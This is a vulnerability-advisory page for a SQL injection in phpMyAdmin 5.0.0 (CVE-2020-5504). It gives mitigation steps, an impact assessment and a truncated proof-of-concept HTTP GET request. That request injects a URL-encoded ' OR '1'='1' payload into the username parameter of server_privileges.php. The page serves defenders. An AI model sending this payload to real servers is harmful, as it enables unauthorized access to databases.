ExploitPublished 3 Dec 2025

phpMyAdmin 5.0.0 · SQL Injection

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Mentioned vulnerabilities

CVE-2020-5504

Severity

Medium

Rated by Threat Radar

Data as of 30 Dec 2025, 22:16 UTC

What to do

AI-suggested

1. Upgrade all phpMyAdmin installations to the latest stable version where this SQL Injection vulnerability is patched. 2. Restrict access to phpMyAdmin interfaces using network-level controls such as VPNs, IP whitelisting, or firewall rules to limit exposure to trusted users only. 3. Enforce strong authentication mechanisms, including multi-factor authentication, to reduce the risk of credential compromise. 4. Monitor and audit phpMyAdmin access logs for unusual activity, including repeated failed login attempts or anomalous query patterns. 5. Deploy and configure web application firewalls (WAFs) to detect and block SQL Injection attempts targeting phpMyAdmin endpoints. 6. Educate administrators and users about session hijacking risks and ensure secure handling of session cookies. 7. Apply the principle of least privilege by regularly reviewing and minimizing MySQL user permissions to reduce potential impact if credentials are compromised. 8. Implement intrusion detection systems (IDS) to alert on suspicious database queries or privilege escalations. 9. If immediate upgrading is not feasible, consider temporarily disabling or restricting the vulnerable server_privileges.php functionality. 10. Conduct penetration testing and vulnerability assessments focused on phpMyAdmin deployments to proactively identify and remediate similar issues.

Description

phpMyAdmin 5.0.0 - SQL Injection

Impact

For European organizations, this vulnerability poses a moderate to high risk primarily to the confidentiality and integrity of MySQL databases managed via phpMyAdmin. If exploited, an attacker with valid credentials could escalate privileges or access unauthorized data, leading to potential data breaches, unauthorized modifications, or disruption of database operations. Given phpMyAdmin's widespread use across Europe in sectors such as finance, healthcare, government, and web hosting, the impact could be significant if exploited in sensitive environments. The requirement for valid credentials limits the attack surface but does not eliminate risk, especially in scenarios involving credential theft, phishing, or insider threats. Exploitation could also serve as a pivot point for lateral movement within networks, increasing overall organizational risk. Failure to address this vulnerability could result in regulatory non-compliance (e.g., GDPR), reputational damage, and operational disruptions.

Indicators of compromise

Exploit source code

Exploit code for phpMyAdmin 5.0.0 - SQL Injection738 characters

# Exploit Title: phpMyAdmin 5.0.0 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpmyadmin/phpmyadmin/
# Software Link: https://github.com/phpmyadmin/phpmyadmin/
# Version: 5.0.0 
# Tested on: Windows
# CVE : CVE-2020-5504


Proof Of Concept
GET /server_privileges.php?ajax_request=true&validate_username=set&username=%27%20OR%20%271%27%3D%271%27%20--%20 HTTP/1.1
Host: phpmyadmin
Connection: close

# Additional conditions:
# - The attacker mu…

References

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